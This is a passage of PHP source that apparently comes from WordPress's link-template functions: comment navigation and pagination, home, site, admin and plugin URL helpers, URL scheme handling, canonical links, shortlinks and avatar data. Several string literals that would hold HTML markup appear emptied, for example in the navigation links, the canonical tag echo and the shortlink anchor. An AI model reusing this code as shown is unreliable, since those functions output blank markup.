Default 'comment-navigation'. * } * @return string Markup for comments links. */ function get_the_comments_navigation( $args = array() ) { $navigation = ''; // Are there comments to navigate through? if ( get_comment_pages_count() > 1 ) { // Make sure the nav element has an aria-label attribute: fallback to the screen reader text. if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) { $args['aria_label'] = $args['screen_reader_text']; } $args = wp_parse_args( $args, array( 'prev_text' => __( 'Older comments' ), 'next_text' => __( 'Newer comments' ), 'screen_reader_text' => __( 'Comments navigation' ), 'aria_label' => __( 'Comments' ), 'class' => 'comment-navigation', ) ); $prev_link = get_previous_comments_link( $args['prev_text'] ); $next_link = get_next_comments_link( $args['next_text'] ); if ( $prev_link ) { $navigation .= ''; } if ( $next_link ) { $navigation .= ''; } $navigation = _navigation_markup( $navigation, $args['class'], $args['screen_reader_text'], $args['aria_label'] ); } return $navigation; } /** * Displays navigation to next/previous set of comments, when applicable. * * @since 4.4.0 * * @param array $args See get_the_comments_navigation() for available arguments. Default empty array. */ function the_comments_navigation( $args = array() ) { echo get_the_comments_navigation( $args ); } /** * Retrieves a paginated navigation to next/previous set of comments, when applicable. * * @since 4.4.0 * @since 5.3.0 Added the `aria_label` parameter. * @since 5.5.0 Added the `class` parameter. * * @see paginate_comments_links() * * @param array $args { * Optional. Default pagination arguments. * * @type string $screen_reader_text Screen reader text for the nav element. Default 'Comments navigation'. * @type string $aria_label ARIA label text for the nav element. Default 'Comments'. * @type string $class Custom class for the nav element. Default 'comments-pagination'. * } * @return string Markup for pagination links. */ function get_the_comments_pagination( $args = array() ) { $navigation = ''; // Make sure the nav element has an aria-label attribute: fallback to the screen reader text. if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) { $args['aria_label'] = $args['screen_reader_text']; } $args = wp_parse_args( $args, array( 'screen_reader_text' => __( 'Comments navigation' ), 'aria_label' => __( 'Comments' ), 'class' => 'comments-pagination', ) ); $args['echo'] = false; // Make sure we get a string back. Plain is the next best thing. if ( isset( $args['type'] ) && 'array' === $args['type'] ) { $args['type'] = 'plain'; } $links = paginate_comments_links( $args ); if ( $links ) { $navigation = _navigation_markup( $links, $args['class'], $args['screen_reader_text'], $args['aria_label'] ); } return $navigation; } /** * Displays a paginated navigation to next/previous set of comments, when applicable. * * @since 4.4.0 * * @param array $args See get_the_comments_pagination() for available arguments. Default empty array. */ function the_comments_pagination( $args = array() ) { echo get_the_comments_pagination( $args ); } /** * Retrieves the URL for the current site where the front end is accessible. * * Returns the 'home' option with the appropriate protocol. The protocol will be 'https' * if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option. * If `$scheme` is 'http' or 'https', is_ssl() is overridden. * * @since 3.0.0 * * @param string $path Optional. Path relative to the home URL. Default empty. * @param string|null $scheme Optional. Scheme to give the home URL context. Accepts * 'http', 'https', 'relative', 'rest', or null. Default null. * @return string Home URL link with optional path appended. */ function home_url( $path = '', $scheme = null ) { return get_home_url( null, $path, $scheme ); } /** * Retrieves the URL for a given site where the front end is accessible. * * Returns the 'home' option with the appropriate protocol. The protocol will be 'https' * if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option. * If `$scheme` is 'http' or 'https', is_ssl() is overridden. * * @since 3.0.0 * * @param int|null $blog_id Optional. Site ID. Default null (current site). * @param string $path Optional. Path relative to the home URL. Default empty. * @param string|null $scheme Optional. Scheme to give the home URL context. Accepts * 'http', 'https', 'relative', 'rest', or null. Default null. * @return string Home URL link with optional path appended. */ function get_home_url( $blog_id = null, $path = '', $scheme = null ) { $orig_scheme = $scheme; if ( empty( $blog_id ) || ! is_multisite() ) { $url = get_option( 'home' ); } else { switch_to_blog( $blog_id ); $url = get_option( 'home' ); restore_current_blog(); } if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ), true ) ) { if ( is_ssl() ) { $scheme = 'https'; } else { $scheme = parse_url( $url, PHP_URL_SCHEME ); } } $url = set_url_scheme( $url, $scheme ); if ( $path && is_string( $path ) ) { $url .= '/' . ltrim( $path, '/' ); } /** * Filters the home URL. * * @since 3.0.0 * * @param string $url The complete home URL including scheme and path. * @param string $path Path relative to the home URL. Blank string if no path is specified. * @param string|null $orig_scheme Scheme to give the home URL context. Accepts 'http', 'https', * 'relative', 'rest', or null. * @param int|null $blog_id Site ID, or null for the current site. */ return apply_filters( 'home_url', $url, $path, $orig_scheme, $blog_id ); } /** * Retrieves the URL for the current site where WordPress application files * (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible. * * Returns the 'site_url' option with the appropriate protocol, 'https' if * is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is * overridden. * * @since 3.0.0 * * @param string $path Optional. Path relative to the site URL. Default empty. * @param string|null $scheme Optional. Scheme to give the site URL context. See set_url_scheme(). * @return string Site URL link with optional path appended. */ function site_url( $path = '', $scheme = null ) { return get_site_url( null, $path, $scheme ); } /** * Retrieves the URL for a given site where WordPress application files * (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible. * * Returns the 'site_url' option with the appropriate protocol, 'https' if * is_ssl() and 'http' otherwise. If `$scheme` is 'http' or 'https', * `is_ssl()` is overridden. * * @since 3.0.0 * * @param int|null $blog_id Optional. Site ID. Default null (current site). * @param string $path Optional. Path relative to the site URL. Default empty. * @param string|null $scheme Optional. Scheme to give the site URL context. Accepts * 'http', 'https', 'login', 'login_post', 'admin', or * 'relative'. Default null. * @return string Site URL link with optional path appended. */ function get_site_url( $blog_id = null, $path = '', $scheme = null ) { if ( empty( $blog_id ) || ! is_multisite() ) { $url = get_option( 'siteurl' ); } else { switch_to_blog( $blog_id ); $url = get_option( 'siteurl' ); restore_current_blog(); } $url = set_url_scheme( $url, $scheme ); if ( $path && is_string( $path ) ) { $url .= '/' . ltrim( $path, '/' ); } /** * Filters the site URL. * * @since 2.7.0 * * @param string $url The complete site URL including scheme and path. * @param string $path Path relative to the site URL. Blank string if no path is specified. * @param string|null $scheme Scheme to give the site URL context. Accepts 'http', 'https', 'login', * 'login_post', 'admin', 'relative' or null. * @param int|null $blog_id Site ID, or null for the current site. */ return apply_filters( 'site_url', $url, $path, $scheme, $blog_id ); } /** * Retrieves the URL to the admin area for the current site. * * @since 2.6.0 * * @param string $path Optional. Path relative to the admin URL. Default 'admin'. * @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() and is_ssl(). * 'http' or 'https' can be passed to force those schemes. * @return string Admin URL link with optional path appended. */ function admin_url( $path = '', $scheme = 'admin' ) { return get_admin_url( null, $path, $scheme ); } /** * Retrieves the URL to the admin area for a given site. * * @since 3.0.0 * * @param int|null $blog_id Optional. Site ID. Default null (current site). * @param string $path Optional. Path relative to the admin URL. Default empty. * @param string $scheme Optional. The scheme to use. Accepts 'http' or 'https', * to force those schemes. Default 'admin', which obeys * force_ssl_admin() and is_ssl(). * @return string Admin URL link with optional path appended. */ function get_admin_url( $blog_id = null, $path = '', $scheme = 'admin' ) { $url = get_site_url( $blog_id, 'wp-admin/', $scheme ); if ( $path && is_string( $path ) ) { $url .= ltrim( $path, '/' ); } /** * Filters the admin area URL. * * @since 2.8.0 * @since 5.8.0 The `$scheme` parameter was added. * * @param string $url The complete admin area URL including scheme and path. * @param string $path Path relative to the admin area URL. Blank string if no path is specified. * @param int|null $blog_id Site ID, or null for the current site. * @param string|null $scheme The scheme to use. Accepts 'http', 'https', * 'admin', or null. Default 'admin', which obeys force_ssl_admin() and is_ssl(). */ return apply_filters( 'admin_url', $url, $path, $blog_id, $scheme ); } /** * Retrieves the URL to the includes directory. * * @since 2.6.0 * * @param string $path Optional. Path relative to the includes URL. Default empty. * @param string|null $scheme Optional. Scheme to give the includes URL context. Accepts * 'http', 'https', or 'relative'. Default null. * @return string Includes URL link with optional path appended. */ function includes_url( $path = '', $scheme = null ) { $url = site_url( '/' . WPINC . '/', $scheme ); if ( $path && is_string( $path ) ) { $url .= ltrim( $path, '/' ); } /** * Filters the URL to the includes directory. * * @since 2.8.0 * @since 5.8.0 The `$scheme` parameter was added. * * @param string $url The complete URL to the includes directory including scheme and path. * @param string $path Path relative to the URL to the wp-includes directory. Blank string * if no path is specified. * @param string|null $scheme Scheme to give the includes URL context. Accepts * 'http', 'https', 'relative', or null. Default null. */ return apply_filters( 'includes_url', $url, $path, $scheme ); } /** * Retrieves the URL to the content directory. * * @since 2.6.0 * * @param string $path Optional. Path relative to the content URL. Default empty. * @return string Content URL link with optional path appended. */ function content_url( $path = '' ) { $url = set_url_scheme( WP_CONTENT_URL ); if ( $path && is_string( $path ) ) { $url .= '/' . ltrim( $path, '/' ); } /** * Filters the URL to the content directory. * * @since 2.8.0 * * @param string $url The complete URL to the content directory including scheme and path. * @param string $path Path relative to the URL to the content directory. Blank string * if no path is specified. */ return apply_filters( 'content_url', $url, $path ); } /** * Retrieves a URL within the plugins or mu-plugins directory. * * Defaults to the plugins directory URL if no arguments are supplied. * * @since 2.6.0 * * @param string $path Optional. Extra path appended to the end of the URL, including * the relative directory if $plugin is supplied. Default empty. * @param string $plugin Optional. A full path to a file inside a plugin or mu-plugin. * The URL will be relative to its directory. Default empty. * Typically this is done by passing `__FILE__` as the argument. * @return string Plugins URL link with optional paths appended. */ function plugins_url( $path = '', $plugin = '' ) { $path = wp_normalize_path( $path ); $plugin = wp_normalize_path( $plugin ); $mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR ); if ( ! empty( $plugin ) && 0 === strpos( $plugin, $mu_plugin_dir ) ) { $url = WPMU_PLUGIN_URL; } else { $url = WP_PLUGIN_URL; } $url = set_url_scheme( $url ); if ( ! empty( $plugin ) && is_string( $plugin ) ) { $folder = dirname( plugin_basename( $plugin ) ); if ( '.' !== $folder ) { $url .= '/' . ltrim( $folder, '/' ); } } if ( $path && is_string( $path ) ) { $url .= '/' . ltrim( $path, '/' ); } /** * Filters the URL to the plugins directory. * * @since 2.8.0 * * @param string $url The complete URL to the plugins directory including scheme and path. * @param string $path Path relative to the URL to the plugins directory. Blank string * if no path is specified. * @param string $plugin The plugin file path to be relative to. Blank string if no plugin * is specified. */ return apply_filters( 'plugins_url', $url, $path, $plugin ); } /** * Retrieves the site URL for the current network. * * Returns the site URL with the appropriate protocol, 'https' if * is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is * overridden. * * @since 3.0.0 * * @see set_url_scheme() * * @param string $path Optional. Path relative to the site URL. Default empty. * @param string|null $scheme Optional. Scheme to give the site URL context. Accepts * 'http', 'https', or 'relative'. Default null. * @return string Site URL link with optional path appended. */ function network_site_url( $path = '', $scheme = null ) { if ( ! is_multisite() ) { return site_url( $path, $scheme ); } $current_network = get_network(); if ( 'relative' === $scheme ) { $url = $current_network->path; } else { $url = set_url_scheme( 'http://' . $current_network->domain . $current_network->path, $scheme ); } if ( $path && is_string( $path ) ) { $url .= ltrim( $path, '/' ); } /** * Filters the network site URL. * * @since 3.0.0 * * @param string $url The complete network site URL including scheme and path. * @param string $path Path relative to the network site URL. Blank string if * no path is specified. * @param string|null $scheme Scheme to give the URL context. Accepts 'http', 'https', * 'relative' or null. */ return apply_filters( 'network_site_url', $url, $path, $scheme ); } /** * Retrieves the home URL for the current network. * * Returns the home URL with the appropriate protocol, 'https' is_ssl() * and 'http' otherwise. If `$scheme` is 'http' or 'https', `is_ssl()` is * overridden. * * @since 3.0.0 * * @param string $path Optional. Path relative to the home URL. Default empty. * @param string|null $scheme Optional. Scheme to give the home URL context. Accepts * 'http', 'https', or 'relative'. Default null. * @return string Home URL link with optional path appended. */ function network_home_url( $path = '', $scheme = null ) { if ( ! is_multisite() ) { return home_url( $path, $scheme ); } $current_network = get_network(); $orig_scheme = $scheme; if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ), true ) ) { $scheme = is_ssl() ? 'https' : 'http'; } if ( 'relative' === $scheme ) { $url = $current_network->path; } else { $url = set_url_scheme( 'http://' . $current_network->domain . $current_network->path, $scheme ); } if ( $path && is_string( $path ) ) { $url .= ltrim( $path, '/' ); } /** * Filters the network home URL. * * @since 3.0.0 * * @param string $url The complete network home URL including scheme and path. * @param string $path Path relative to the network home URL. Blank string * if no path is specified. * @param string|null $orig_scheme Scheme to give the URL context. Accepts 'http', 'https', * 'relative' or null. */ return apply_filters( 'network_home_url', $url, $path, $orig_scheme ); } /** * Retrieves the URL to the admin area for the network. * * @since 3.0.0 * * @param string $path Optional path relative to the admin URL. Default empty. * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin() * and is_ssl(). 'http' or 'https' can be passed to force those schemes. * @return string Admin URL link with optional path appended. */ function network_admin_url( $path = '', $scheme = 'admin' ) { if ( ! is_multisite() ) { return admin_url( $path, $scheme ); } $url = network_site_url( 'wp-admin/network/', $scheme ); if ( $path && is_string( $path ) ) { $url .= ltrim( $path, '/' ); } /** * Filters the network admin URL. * * @since 3.0.0 * @since 5.8.0 The `$scheme` parameter was added. * * @param string $url The complete network admin URL including scheme and path. * @param string $path Path relative to the network admin URL. Blank string if * no path is specified. * @param string|null $scheme The scheme to use. Accepts 'http', 'https', * 'admin', or null. Default is 'admin', which obeys force_ssl_admin() and is_ssl(). */ return apply_filters( 'network_admin_url', $url, $path, $scheme ); } /** * Retrieves the URL to the admin area for the current user. * * @since 3.0.0 * * @param string $path Optional. Path relative to the admin URL. Default empty. * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin() * and is_ssl(). 'http' or 'https' can be passed to force those schemes. * @return string Admin URL link with optional path appended. */ function user_admin_url( $path = '', $scheme = 'admin' ) { $url = network_site_url( 'wp-admin/user/', $scheme ); if ( $path && is_string( $path ) ) { $url .= ltrim( $path, '/' ); } /** * Filters the user admin URL for the current user. * * @since 3.1.0 * @since 5.8.0 The `$scheme` parameter was added. * * @param string $url The complete URL including scheme and path. * @param string $path Path relative to the URL. Blank string if * no path is specified. * @param string|null $scheme The scheme to use. Accepts 'http', 'https', * 'admin', or null. Default is 'admin', which obeys force_ssl_admin() and is_ssl(). */ return apply_filters( 'user_admin_url', $url, $path, $scheme ); } /** * Retrieves the URL to the admin area for either the current site or the network depending on context. * * @since 3.1.0 * * @param string $path Optional. Path relative to the admin URL. Default empty. * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin() * and is_ssl(). 'http' or 'https' can be passed to force those schemes. * @return string Admin URL link with optional path appended. */ function self_admin_url( $path = '', $scheme = 'admin' ) { if ( is_network_admin() ) { $url = network_admin_url( $path, $scheme ); } elseif ( is_user_admin() ) { $url = user_admin_url( $path, $scheme ); } else { $url = admin_url( $path, $scheme ); } /** * Filters the admin URL for the current site or network depending on context. * * @since 4.9.0 * * @param string $url The complete URL including scheme and path. * @param string $path Path relative to the URL. Blank string if no path is specified. * @param string $scheme The scheme to use. */ return apply_filters( 'self_admin_url', $url, $path, $scheme ); } /** * Sets the scheme for a URL. * * @since 3.4.0 * @since 4.4.0 The 'rest' scheme was added. * * @param string $url Absolute URL that includes a scheme * @param string|null $scheme Optional. Scheme to give $url. Currently 'http', 'https', 'login', * 'login_post', 'admin', 'relative', 'rest', 'rpc', or null. Default null. * @return string URL with chosen scheme. */ function set_url_scheme( $url, $scheme = null ) { $orig_scheme = $scheme; if ( ! $scheme ) { $scheme = is_ssl() ? 'https' : 'http'; } elseif ( 'admin' === $scheme || 'login' === $scheme || 'login_post' === $scheme || 'rpc' === $scheme ) { $scheme = is_ssl() || force_ssl_admin() ? 'https' : 'http'; } elseif ( 'http' !== $scheme && 'https' !== $scheme && 'relative' !== $scheme ) { $scheme = is_ssl() ? 'https' : 'http'; } $url = trim( $url ); if ( substr( $url, 0, 2 ) === '//' ) { $url = 'http:' . $url; } if ( 'relative' === $scheme ) { $url = ltrim( preg_replace( '#^\w+://[^/]*#', '', $url ) ); if ( '' !== $url && '/' === $url[0] ) { $url = '/' . ltrim( $url, "/ \t\n\r\0\x0B" ); } } else { $url = preg_replace( '#^\w+://#', $scheme . '://', $url ); } /** * Filters the resulting URL after setting the scheme. * * @since 3.4.0 * * @param string $url The complete URL including scheme and path. * @param string $scheme Scheme applied to the URL. One of 'http', 'https', or 'relative'. * @param string|null $orig_scheme Scheme requested for the URL. One of 'http', 'https', 'login', * 'login_post', 'admin', 'relative', 'rest', 'rpc', or null. */ return apply_filters( 'set_url_scheme', $url, $scheme, $orig_scheme ); } /** * Retrieves the URL to the user's dashboard. * * If a user does not belong to any site, the global user dashboard is used. If the user * belongs to the current site, the dashboard for the current site is returned. If the user * cannot edit the current site, the dashboard to the user's primary site is returned. * * @since 3.1.0 * * @param int $user_id Optional. User ID. Defaults to current user. * @param string $path Optional path relative to the dashboard. Use only paths known to * both site and user admins. Default empty. * @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() * and is_ssl(). 'http' or 'https' can be passed to force those schemes. * @return string Dashboard URL link with optional path appended. */ function get_dashboard_url( $user_id = 0, $path = '', $scheme = 'admin' ) { $user_id = $user_id ? (int) $user_id : get_current_user_id(); $blogs = get_blogs_of_user( $user_id ); if ( is_multisite() && ! user_can( $user_id, 'manage_network' ) && empty( $blogs ) ) { $url = user_admin_url( $path, $scheme ); } elseif ( ! is_multisite() ) { $url = admin_url( $path, $scheme ); } else { $current_blog = get_current_blog_id(); if ( $current_blog && ( user_can( $user_id, 'manage_network' ) || in_array( $current_blog, array_keys( $blogs ), true ) ) ) { $url = admin_url( $path, $scheme ); } else { $active = get_active_blog_for_user( $user_id ); if ( $active ) { $url = get_admin_url( $active->blog_id, $path, $scheme ); } else { $url = user_admin_url( $path, $scheme ); } } } /** * Filters the dashboard URL for a user. * * @since 3.1.0 * * @param string $url The complete URL including scheme and path. * @param int $user_id The user ID. * @param string $path Path relative to the URL. Blank string if no path is specified. * @param string $scheme Scheme to give the URL context. Accepts 'http', 'https', 'login', * 'login_post', 'admin', 'relative' or null. */ return apply_filters( 'user_dashboard_url', $url, $user_id, $path, $scheme ); } /** * Retrieves the URL to the user's profile editor. * * @since 3.1.0 * * @param int $user_id Optional. User ID. Defaults to current user. * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin() * and is_ssl(). 'http' or 'https' can be passed to force those schemes. * @return string Dashboard URL link with optional path appended. */ function get_edit_profile_url( $user_id = 0, $scheme = 'admin' ) { $user_id = $user_id ? (int) $user_id : get_current_user_id(); if ( is_user_admin() ) { $url = user_admin_url( 'profile.php', $scheme ); } elseif ( is_network_admin() ) { $url = network_admin_url( 'profile.php', $scheme ); } else { $url = get_dashboard_url( $user_id, 'profile.php', $scheme ); } /** * Filters the URL for a user's profile editor. * * @since 3.1.0 * * @param string $url The complete URL including scheme and path. * @param int $user_id The user ID. * @param string $scheme Scheme to give the URL context. Accepts 'http', 'https', 'login', * 'login_post', 'admin', 'relative' or null. */ return apply_filters( 'edit_profile_url', $url, $user_id, $scheme ); } /** * Returns the canonical URL for a post. * * When the post is the same as the current requested page the function will handle the * pagination arguments too. * * @since 4.6.0 * * @param int|WP_Post $post Optional. Post ID or object. Default is global `$post`. * @return string|false The canonical URL, or false if the post does not exist or has not * been published yet. */ function wp_get_canonical_url( $post = null ) { $post = get_post( $post ); if ( ! $post ) { return false; } if ( 'publish' !== $post->post_status ) { return false; } $canonical_url = get_permalink( $post ); // If a canonical is being generated for the current page, make sure it has pagination if needed. if ( get_queried_object_id() === $post->ID ) { $page = get_query_var( 'page', 0 ); if ( $page >= 2 ) { if ( ! get_option( 'permalink_structure' ) ) { $canonical_url = add_query_arg( 'page', $page, $canonical_url ); } else { $canonical_url = trailingslashit( $canonical_url ) . user_trailingslashit( $page, 'single_paged' ); } } $cpage = get_query_var( 'cpage', 0 ); if ( $cpage ) { $canonical_url = get_comments_pagenum_link( $cpage ); } } /** * Filters the canonical URL for a post. * * @since 4.6.0 * * @param string $canonical_url The post's canonical URL. * @param WP_Post $post Post object. */ return apply_filters( 'get_canonical_url', $canonical_url, $post ); } /** * Outputs rel=canonical for singular queries. * * @since 2.9.0 * @since 4.6.0 Adjusted to use `wp_get_canonical_url()`. */ function rel_canonical() { if ( ! is_singular() ) { return; } $id = get_queried_object_id(); if ( 0 === $id ) { return; } $url = wp_get_canonical_url( $id ); if ( ! empty( $url ) ) { echo '' . "\n"; } } /** * Returns a shortlink for a post, page, attachment, or site. * * This function exists to provide a shortlink tag that all themes and plugins can target. * A plugin must hook in to provide the actual shortlinks. Default shortlink support is * limited to providing ?p= style links for posts. Plugins can short-circuit this function * via the {@see 'pre_get_shortlink'} filter or filter the output via the {@see 'get_shortlink'} * filter. * * @since 3.0.0 * * @param int $id Optional. A post or site ID. Default is 0, which means the current post or site. * @param string $context Optional. Whether the ID is a 'site' ID, 'post' ID, or 'media' ID. If 'post', * the post_type of the post is consulted. If 'query', the current query is consulted * to determine the ID and context. Default 'post'. * @param bool $allow_slugs Optional. Whether to allow post slugs in the shortlink. It is up to the plugin how * and whether to honor this. Default true. * @return string A shortlink or an empty string if no shortlink exists for the requested resource or if shortlinks * are not enabled. */ function wp_get_shortlink( $id = 0, $context = 'post', $allow_slugs = true ) { /** * Filters whether to preempt generating a shortlink for the given post. * * Returning a truthy value from the filter will effectively short-circuit * the shortlink generation process, returning that value instead. * * @since 3.0.0 * * @param false|string $return Short-circuit return value. Either false or a URL string. * @param int $id Post ID, or 0 for the current post. * @param string $context The context for the link. One of 'post' or 'query', * @param bool $allow_slugs Whether to allow post slugs in the shortlink. */ $shortlink = apply_filters( 'pre_get_shortlink', false, $id, $context, $allow_slugs ); if ( false !== $shortlink ) { return $shortlink; } $post_id = 0; if ( 'query' === $context && is_singular() ) { $post_id = get_queried_object_id(); $post = get_post( $post_id ); } elseif ( 'post' === $context ) { $post = get_post( $id ); if ( ! empty( $post->ID ) ) { $post_id = $post->ID; } } $shortlink = ''; // Return `?p=` link for all public post types. if ( ! empty( $post_id ) ) { $post_type = get_post_type_object( $post->post_type ); if ( 'page' === $post->post_type && get_option( 'page_on_front' ) == $post->ID && 'page' === get_option( 'show_on_front' ) ) { $shortlink = home_url( '/' ); } elseif ( $post_type && $post_type->public ) { $shortlink = home_url( '?p=' . $post_id ); } } /** * Filters the shortlink for a post. * * @since 3.0.0 * * @param string $shortlink Shortlink URL. * @param int $id Post ID, or 0 for the current post. * @param string $context The context for the link. One of 'post' or 'query', * @param bool $allow_slugs Whether to allow post slugs in the shortlink. Not used by default. */ return apply_filters( 'get_shortlink', $shortlink, $id, $context, $allow_slugs ); } /** * Injects rel=shortlink into the head if a shortlink is defined for the current page. * * Attached to the {@see 'wp_head'} action. * * @since 3.0.0 */ function wp_shortlink_wp_head() { $shortlink = wp_get_shortlink( 0, 'query' ); if ( empty( $shortlink ) ) { return; } echo "\n"; } /** * Sends a Link: rel=shortlink header if a shortlink is defined for the current page. * * Attached to the {@see 'wp'} action. * * @since 3.0.0 */ function wp_shortlink_header() { if ( headers_sent() ) { return; } $shortlink = wp_get_shortlink( 0, 'query' ); if ( empty( $shortlink ) ) { return; } header( 'Link: <' . $shortlink . '>; rel=shortlink', false ); } /** * Displays the shortlink for a post. * * Must be called from inside "The Loop" * * Call like the_shortlink( __( 'Shortlinkage FTW' ) ) * * @since 3.0.0 * * @param string $text Optional The link text or HTML to be displayed. Defaults to 'This is the short link.' * @param string $title Optional The tooltip for the link. Must be sanitized. Defaults to the sanitized post title. * @param string $before Optional HTML to display before the link. Default empty. * @param string $after Optional HTML to display after the link. Default empty. */ function the_shortlink( $text = '', $title = '', $before = '', $after = '' ) { $post = get_post(); if ( empty( $text ) ) { $text = __( 'This is the short link.' ); } if ( empty( $title ) ) { $title = the_title_attribute( array( 'echo' => false ) ); } $shortlink = wp_get_shortlink( $post->ID ); if ( ! empty( $shortlink ) ) { $link = '' . $text . ''; /** * Filters the short link anchor tag for a post. * * @since 3.0.0 * * @param string $link Shortlink anchor tag. * @param string $shortlink Shortlink URL. * @param string $text Shortlink's text. * @param string $title Shortlink's title attribute. */ $link = apply_filters( 'the_shortlink', $link, $shortlink, $text, $title ); echo $before, $link, $after; } } /** * Retrieves the avatar URL. * * @since 4.2.0 * * @param mixed $id_or_email The Gravatar to retrieve a URL for. Accepts a user_id, gravatar md5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. * @param array $args { * Optional. Arguments to return instead of the default arguments. * * @type int $size Height and width of the avatar in pixels. Default 96. * @type string $default URL for the default image or a default type. Accepts '404' (return * a 404 instead of a default image), 'retro' (8bit), 'monsterid' (monster), * 'wavatar' (cartoon face), 'indenticon' (the "quilt"), 'mystery', 'mm', * or 'mysteryman' (The Oyster Man), 'blank' (transparent GIF), or * 'gravatar_default' (the Gravatar logo). Default is the value of the * 'avatar_default' option, with a fallback of 'mystery'. * @type bool $force_default Whether to always show the default image, never the Gravatar. Default false. * @type string $rating What rating to display avatars up to. Accepts 'G', 'PG', 'R', 'X', and are * judged in that order. Default is the value of the 'avatar_rating' option. * @type string $scheme URL scheme to use. See set_url_scheme() for accepted values. * Default null. * @type array $processed_args When the function returns, the value will be the processed/sanitized $args * plus a "found_avatar" guess. Pass as a reference. Default null. * } * @return string|false The URL of the avatar on success, false on failure. */ function get_avatar_url( $id_or_email, $args = null ) { $args = get_avatar_data( $id_or_email, $args ); return $args['url']; } /** * Check if this comment type allows avatars to be retrieved. * * @since 5.1.0 * * @param string $comment_type Comment type to check. * @return bool Whether the comment type is allowed for retrieving avatars. */ function is_avatar_comment_type( $comment_type ) { /** * Filters the list of allowed comment types for retrieving avatars. * * @since 3.0.0 * * @param array $types An array of content types. Default only contains 'comment'. */ $allowed_comment_types = apply_filters( 'get_avatar_comment_types', array( 'comment' ) ); return in_array( $comment_type, (array) $allowed_comment_types, true ); } /** * Retrieves default data about the avatar. * * @since 4.2.0 * * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user ID, Gravatar MD5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. * @param array $args { * Optional. Arguments to return instead of the default arguments. * * @type int $size Height and width of the avatar image file in pixels. Default 96. * @type int $height Display height of the avatar in pixels. Defaults to $size. * @type int $width Display width of the avatar in pixels. Defaults to $size. * @type string $default URL for the default image or a default type. Accepts '404' (return * a 404 instead of a default image), 'retro' (8bit), 'monsterid' (monster), * 'wavatar' (cartoon face), 'indenticon' (the "quilt"), 'mystery', 'mm', * or 'mysteryman' (The Oyster Man), 'blank' (transparent GIF), or * 'gravatar_default' (the Gravatar logo). Default is the value of the * 'avatar_default' option, with a fallback of 'mystery'. * @type bool $force_default Whether to always show the default image, never the Gravatar. Default false. * @type string $rating What rating to display avatars up to. Accepts 'G', 'PG', 'R', 'X', and are * judged in that order. Default is the value of the 'avatar_rating' option. * @type string $scheme URL scheme to use. See set_url_scheme() for accepted values. * Default null. * @type array $processed_args When the function returns, the value will be the processed/sanitized $args * plus a "found_avatar" guess. Pass as a reference. Default null. * @type string $extra_attr HTML attributes to insert in the IMG element. Is not sanitized. Default empty. * } * @return array { * Along with the arguments passed in `$args`, this will contain a couple of extra arguments. * * @type bool $found_avatar True if we were able to find an avatar for this user, * false or not set if we couldn't. * @type string $url The URL of the avatar we found. * } */ function get_avatar_data( $id_or_email, $args = null ) { $args = wp_parse_args( $args, array( 'size' => 96, 'height' => null, 'width' => null, 'default' => get_option( 'avatar_default', 'mystery' ), 'force_default' => false, 'rating' => get_option( 'avatar_rating' ), 'scheme' => null, 'processed_args' => null, // If used, should be a reference. 'extra_attr' => '', ) ); if ( is_numeric( $args['size'] ) ) { $args['size'] = absint( $args['size'] ); if ( ! $args['size'] ) { $args['size'] = 96; } } else { $args['size'] = 96; } if ( is_numeric( $args['height'] ) ) { $args['height'] = absint( $args['height'] ); if ( ! $args['height'] ) { $args['height'] = $args['size']; } } else { $args['height'] = $args['size']; } if ( is_numeric( $args['width'] ) ) { $args['width'] = absint( $args['width'] ); if ( ! $args['width'] ) { $args['width'] = $args['size']; } } else { $args['width'] = $args['size']; } if ( empty( $args['default'] ) ) { $args['default'] = get_option( 'avatar_default', 'mystery' ); } switch ( $args['default'] ) { case 'mm': case 'mystery': case 'mysteryman': $args['default'] = 'mm'; break; case 'gravatar_default': $args['default'] = false; break; } $args['force_default'] = (bool) $args['force_default']; $args['rating'] = strtolower( $args['rating'] ); $args['found_avatar'] = false; /** * Filters whether to retrieve the avatar URL early. * * Passing a non-null value in the 'url' member of the return array will * effectively short circuit get_avatar_data(), passing the value through * the {@see 'get_avatar_data'} filter and returning early. * * @since 4.2.0 * * @param array $args Arguments passed to get_avatar_data(), after processing. * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user ID, Gravatar MD5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. */ $args = apply_filters( 'pre_get_avatar_data', $args, $id_or_email ); if ( isset( $args['url'] ) ) { /** This filter is documented in wp-includes/link-template.php */ return apply_filters( 'get_avatar_data', $args, $id_or_email ); } $email_hash = ''; $user = false; $email = false; if ( is_object( $id_or_email ) && isset( $id_or_email->comment_ID ) ) { $id_or_email = get_comment( $id_or_email ); } // Process the user identifier. if ( is_numeric( $id_or_email ) ) { $user = get_user_by( 'id', absint( $id_or_email ) ); } elseif ( is_string( $id_or_email ) ) { if ( strpos( $id_or_email, '@md5.gravatar.com' ) ) { // MD5 hash. list( $email_hash ) = explode( '@', $id_or_email ); } else { // Email address. $email = $id_or_email; } } elseif ( $id_or_email instanceof WP_User ) { // User object. $user = $id_or_email; } elseif ( $id_or_email instanceof WP_Post ) { // Post object. $user = get_user_by( 'id', (int) $id_or_email->post_author ); } elseif ( $id_or_email instanceof WP_Comment ) { if ( ! is_avatar_comment_type( get_comment_type( $id_or_email ) ) ) { $args['url'] = false; /** This filter is documented in wp-includes/link-template.php */ return apply_filters( 'get_avatar_data', $args, $id_or_email ); } if ( ! empty( $id_or_email->user_id ) ) { $user = get_user_by( 